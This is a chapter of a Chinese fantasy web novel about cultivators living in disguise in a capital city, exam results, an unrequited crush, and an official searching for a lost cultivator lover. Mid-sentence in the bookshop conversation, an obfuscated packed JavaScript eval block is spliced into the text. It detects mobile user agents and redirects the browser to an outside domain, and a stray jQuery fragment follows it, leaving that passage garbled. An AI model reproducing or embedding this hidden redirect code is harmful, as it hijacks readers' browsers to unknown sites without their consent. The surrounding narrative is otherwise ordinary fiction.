瑶池的时光分外恬淡,就连一贯勤勉的陈无宁也放空了几日,动身回去的时候,天空阴云密布,风呼呼地吹。 他们踩着一场秋雨赶往鲸山小院。 街上喧闹,许多人撑着伞疾步而行。为掩人耳目,他们还特地绕了道,从考场门口转了一圈,见学子们顶着张缺眠少觉的脸,个个眼下乌青。衣着华丽的学子上了马车,里面有殷切等待的父母。穷酸些的大多与他们一行同路,往北门走去。 十年寒窗无人问,一举成名天下知。有人沉默,有人疲惫,有人气定神闲,也有人脸上挂着捉摸不透的笑容。 天下书生掌灯数年,不就为提笔征伐,恣意人生么? 见此,陈无宁似有所感,推开小院的大门,蓝雾几天时间黄了叶,扑扑掉落,堆了一地金黄。大家都没有说话,各自回房避雨修整。 晚间,陈无宁雷打不动地看起书来,飞絮将前些日子新买的厚棉被分发到各个屋子,陈无宁打开房门来接。郁夜坐在床沿悠悠叹息:“什么鬼天气,秋天这就没啦?不行,明天得出门买衣裳,你要不要一起?” “不去,不买。”陈无宁头也不抬地说,“你让飞絮给小泥巴买几身。” 这段时间一直在下雨,瞧着有秋雨绵绵无绝期的意味。陈无宁是个硬岔,管它什么天气,晨起用过早饭就开始练剑。细细密密的雨水顺着他的脸颊流下,郁夜单是看着都觉得冷。 不过陈无宁的体质似乎很好,这样都没有受寒生病。 郁少爷怕冷,也不常出门找乐子了。他无事可做,每日便穿着披风或斗篷,倚着门框看陈无宁练剑,一边暗暗编排此人,一边又生出些自惭形愧。 好不容易将一上午的时间打发了,下午总不能又盯着陈无宁吧,还很容易把人盯毛。 昨天陈无宁就发了通脾气,朝他大吼:“你这么闲的吗?看够没!眼睛都长我身上了,有完没完!” 挨了一顿臭骂,他只好也搬了椅子,跟着陈无宁做起了符咒功课。 郁夜天赋很高,以前在家修行时老师也夸过他。只是人无完人,他生了一副得过且过的性格,崇尚活在当下。幸好有隔壁家的好孩子以身作则,倒起了些激励作用。 连宿林最近都没去鲸山过夜,他把庄苼搜罗来的一屋子鸡零狗碎全扔了,搬来许多造型奇特的花草盆,在房里隔出一个小空间,晚上打地铺睡觉。 时间过得飞快,不多时,迎来放榜这天。 状元楼前的布告栏上张贴着今年的一二三甲。人群摩肩接踵,不时传来几句“哪个不长眼的孙子踩到我了”的咒骂声。 很多学子都哭了,仔细分辨,有些是喜极而泣,有的却是悲从中来。 包先生奋力拨开人群,脖子伸长到极限,想看看那几位房客小公子是否中榜,他只知道陈无宁的全名,瞧了半天也没找到。 他惆怅地摇摇头,退出人群,见庄笙站在外边。包先生收拾好一脸失望,走上前去搭话:“庄小公子也在啊。” 庄笙今日是被陈无宁指派到此处装样子的,本来就很气。一来见到这么多人,更气了。他担心别人踩黑他金贵的鞋,弄脏他华丽的衣裳,压根不想上前凑热闹。 庄笙偏过头,见到房主,耐心也不怎么好:“你不就是包先生嘛。” “在下正是。”包先生是个客气人,没同他计较,问道,“院里住的小公子可有上榜的?” 庄苼木着脸回答:“没有。” 包先生叹了口气:“那真是…有些遗憾。” 反正任务已完成,庄笙不想跟他多说,答了声有事便告辞了,去到南门一间名叫“瑰宝斋”的赏器铺子。 铺子是他家的,里面卖些市面上不常见的泊来品,是京城相当有名望的店铺。他祖父早死了,这些产业便落在了父亲名下,老掌柜六叔是庄府的家生子,一代传一代,管理着安城的这一间店铺。 庄笙每隔十日便要过来报个平安,好让父母放心。 当初出来游历时,家里提出的条件只有这个。庄苼原先为避开这些琐事,不知不觉走到了钟灵镇,在那里见到宿林,从此再没挪开眼,后来又意外认识了陈无宁。 命运兜兜转转,他最终还是来了安城。 六叔热情地迎了出来,请座上茶。庄笙大摇大摆喝了几口,正欲提臀走人,六叔觑着他的神色,小心翼翼说:“少爷且慢,老奴有您父亲的口信。” 庄笙:“说。” 六叔:“老爷夫人很想念你,让老奴转告少爷,得空回家一趟。” 他还没玩够,怎么可能就这样回去?况且现在还遇见了特别喜欢的人,他清楚宿林绝不会跟自己走,只得道:“没空,我这才出来多久,别的修士游历都是十年几十年起步的。你给家里说,我再玩一段时间才回去。” 老掌柜深知少爷的脾性,面上堆满谄媚的笑,笑出了一脸褶子:“少爷啊,别怪老奴多嘴,庄家只得你这么一个儿子,你先回去看看老爷夫人,再出来玩也不迟嘛。” 庄笙本想一走了之,又担心若这样做了,下回出门可就没那么容易了。 他滴溜溜转着眼珠,想到了一个对策:要不给家里来个重磅消息? “六叔,不是我不想回去,而是现在回不得呀。”庄苼端起茶杯抿了一口,六叔给他奉的茶自然是好的,可远不如宿林的茶艺。 思及此,他人还在这里,心早就飞回了鲸山小院:“我遇到了特别特别喜欢的人,可认识的时间不长,他不会跟我回家。你给我爹说,等我追到他之后,就同他一起回家,这样总行了吧?” “呃……”六叔显然被这个消息噎住了,吃力地吞咽一口,消化了一会儿这事,不知该作何反应。 庄苼愉快地说:“那就这样啦,先走一步!” 他才没管六叔那副欲言又止的表情,匆匆赶回了鲸山小院,迫不及待地去找宿林,屋里没见到人,便去了街边茶摊,见宿林果然在那里坐着。 庄笙着急忙慌地坐下,一肚子的话到了嘴边反倒开不了口。他在宿林疑问的目光里抓耳挠腮了很久,终于蓄足勇气:“哥,我有个事想和你商量。” 宿林:“说。” 庄笙头回尝到难以启齿的滋味。 他从小过得锦衣玉食,家里对他百依百顺,却不知这世上还有一样东西,却是金山银山也换不来的。 他蚊子似的呓语道:“哥,你要不要......” 宿林:“说完。” 庄苼豁出去了:“和我一起去东海玩吧,我家就在东海。” 宿林:“不。” 好吧,虽然早猜出了答案,可此刻听见这个不带任何犹豫的拒绝,他难免生出些郁闷。 少年人的爱情大多都会落个死无全尸的下场,更何况他还只是单方面的喜欢。 宿林看着是个少年,心却像是入了千遭轮回,除了那个模糊不清的追寻,他压根儿没有其它念想。他不是人,不懂人间情爱,庄笙虽然一直缠着他,宿林只觉得是好奇心作祟罢了。 接下来一段时间,庄笙变得有些沉默,不再张牙舞爪,也不爱出去玩了。他和纷乱的情绪斗了很久,开始反思起自身来,甚至还有点想努力。 是不是我变得好一些,你就会试着看看我? 日月轮换,不知不觉已入深秋。蓝雾树的叶子掉了大半,成了一株辨不出品种还很丑的光杆子。 这天,鲸山小院的门叩响。 身为朝廷命官,科考前后贺暮云足足忙了两月,这天终于有了闲暇。他没有忘记之前的约定,登门邀请陈无宁到城里的怪志书斋一叙。 店如其名,怪志书斋是安城里一家不起眼的小书店,里头书籍摆放杂乱,毫无章法。陈无宁扫上几眼,只见大家著作很少,更多的是借阅或售卖的话本小说,讲一些“江湖侠客、魑魅魍魉、仙人传奇”的故事,正经书生很少来。 陈无宁与贺暮云前后脚踏入店内,掌柜那张方脸上挂着深重的眼袋,看着从没修过边幅。他见有客人进来,瞧了一眼是熟人,完全没有要站起来的意思,朝贺暮云点了下头,随后继续窝在柜台后边看话本。 贺暮云轻车熟路地将陈无宁带到后院。后院有间空阔的书房,文房墨宝摆在桌案,地上有几个蒲团供人就坐。 贺暮云掀了衣摆坐下,抬手做了一个“请”的手势。 两人落座后,陈无宁四下扫了扫,点评道:“这间书店有些意思。” 贺暮云笑了笑:“嗯,只是不比小公子有意思。” 他话里有话,一开口便直奔主题。 闻言,陈无宁心思飞转,按捺住疑惑,反问道:“哦,大人此话怎讲?” 贺暮云坦言:“我初见小公子就有一种直觉,怎么说呢,你绝不是普通人。你我头回见面是在东门的铁器铺吧,一般学子怎会去那种地方?” 陈无宁不动声色地回怼:“一般朝廷命官,还是文官,不也去了那种地方?” 棋逢对手,两人直视对方,一起笑了。 贺暮云接着讲道:“在包先生引荐下,见了小公子第二面。鲸山小院里住了好几位年纪相仿的小公子,貌似还有富家少爷。我当时以为自己想岔了,或许你们一行真是进京赴考的。我见你待人接物进退得宜,又想你或许才高八斗,考场上必能一举夺魁,心生怜才之心,期盼长风院得才所用。” 陈无宁:“小生才疏学浅,让贺大人失望了。” 贺暮云摆摆手:“小公子过谦,你若当真上考场,想必和我预想的结果并没差别。状元榜放出后,我将中榜名单翻了个遍,也没见着你的名讳。贺某自认眼光尚可,不会看错人,因此心有不甘,又将所有考生的试卷花了些功夫拿到手,方知自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14639413|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己上了当。” 听及此,陈无宁有些尴尬,只好坦言:“小生确非学子,有所隐瞒实乃迫不得已,还望大人海涵。” 本以为赔礼道歉便了事,贺暮云却道:“不妨,贺某有问题想请教小公子。” 陈无宁:“大人请讲。” 贺暮云:“我忙完科考诸事后,去了孟老那里,孟老就是东门铁器铺的主人。他与我几年前相识,算是忘年之交。我好奇你怎会出现在那处,问了其中原由,才知你竟是仙门中人。” 陈无宁心道不好,没想到那孟老一把年纪了竟是个支嘴驴,他即便与仙门有牵扯,但既然安于凡尘,那便是凡尘中人,却毫无诚信可言。 这下又多了个人,还是个朝臣知道了自己的身份,想必这安城待不下去了。 思及此,虽然陈无宁装模作样的功夫一流,此刻不免也有些紧绷。 贺暮云看出了他的不安,和气地说:“小公子不必忧心,只要各位不在凡尘作乱,贺某保证绝不会给第二个人谈及此事。我今天将一切和盘托出,正因为你是修士,贺某并非不怀好意,只是有一事相求。” 陈无宁适才收敛起神色,不动声色道:“大人言重,小生到安城来本是游历,看看人间繁华与大好山河,长番见识而已。不知大人有什么事?” “我在找一个人,她也是修士。”贺暮云的声色沉了下去。 陈无宁隔着桌案望去,他那张淡雅君子的脸此时化着一把浓重的、抹不开的思念。那绵绸的思念仿佛永远不该出现在一个青年男人的脸上。 陈无宁小声唤他:“贺大人?” 贺暮云回过神来,淡淡一笑,致歉道:“小公子见笑。” 陈无宁:“我猜这个修士,当是名女子吧?” 贺暮云:“是,她叫江思宜。” 陈无宁统共只认识鲸山小院里的几个修士,答道:“我入仙门不久,没有听说过这个名字。贺大人是朝廷命官,为何会寻一名修士?” 既已开了口,贺暮云也不再隐瞒,缓缓讲出自己的往事。 “说来惭愧,贺某二十岁进京赶考,途中遇到了江姑娘,才知这世上竟真有传说中的仙人,当时年轻不懂事,犯下大错。她说要回门派一趟,禀明师门,好与我共守凡尘。” “谁知她这一走,就再没回来了。我在与她约定的地方等了很久,等到心灰意冷。但科考时间不等人,我只好先来安城赴考,如愿上榜,成了朝臣。后来的许多年里,我一直在找她的下落。” 见贺暮云如此坦白,陈无宁清楚这话戳人心窝,还是说出了自己的看法:“或许江姑娘后悔了?这么多年过去,大人岂非白找。” 贺暮云不假思索道:“若她后悔了我也不怪她。只希望探听到她的安好,便能放下了。” 陈无宁颇有些感叹:“可知江姑娘出自何派?” 贺暮云摇摇头:“不知,她没同我讲过仙门的事。七年了,每回休沐,我便会去与她约定的地方等着。为探听消息,也一直想办法接触仙门中人,可是至今仍无线索。” 陈无宁:“长风院不单是礼部下设的小机构吧?” 贺暮云:“不瞒小公子,长风院的确特殊。” 陈无宁:“孟老也是仙门中人。” 贺暮云:“孟老曾经是,现在不是了。他一直在帮我找人,还望小公子不要计较孟老透露你的身份。” 陈无宁:“贺大人情深意重,小生感慨。既如此,还请大人多讲些江姑娘的信息,我留意着。” 七年前的事浮光掠影涌上心头,贺暮云呢喃道:“她很漂亮,贺某活到这个年纪,还没见过比她更好看的女子。她眉眼弯弯肤胜雪,怎么形容呢,你带着的那个小姑娘,和她长得有些相似。” 他顿了顿,声音渐低:“上回我到小院拜访,有幸见过小姑娘一面,当时就惊了。” 陈无宁心下骇然,乌雪泥是捡来的,年纪也对得上。他心里一时间涌起各种猜想,急问:“小生冒昧,不知大人与江姑娘,当年可有孩子?” 贺暮云肯定道:“没有。我与她只相处了月余。” 陈无宁:“你们在何处认识的?” 贺暮云:“中原,我老家在中原与南方的地界处,离安城不算远。” 乌雪泥是师父在西方捡的,地点对不上。陈无宁这才松了口气:“小生还会在安城待几个月,望大人依方才所言,不对外透露我这一行的身份。关于找江姑娘的事,我记下了,如果有消息,定知会大人。” 贺暮云拱了拱手:“有劳小公子了。还有一事,贺某很喜爱你带着的那个小姑娘,她真的与江姑娘长得十分相似,贺某不知…还能否登门拜访。” 陈无宁笑道:“随时欢迎,那丫头是挺机灵,读书方面却笨得一塌糊涂。若大人愿意在学问上点拨她一二,便更好了。”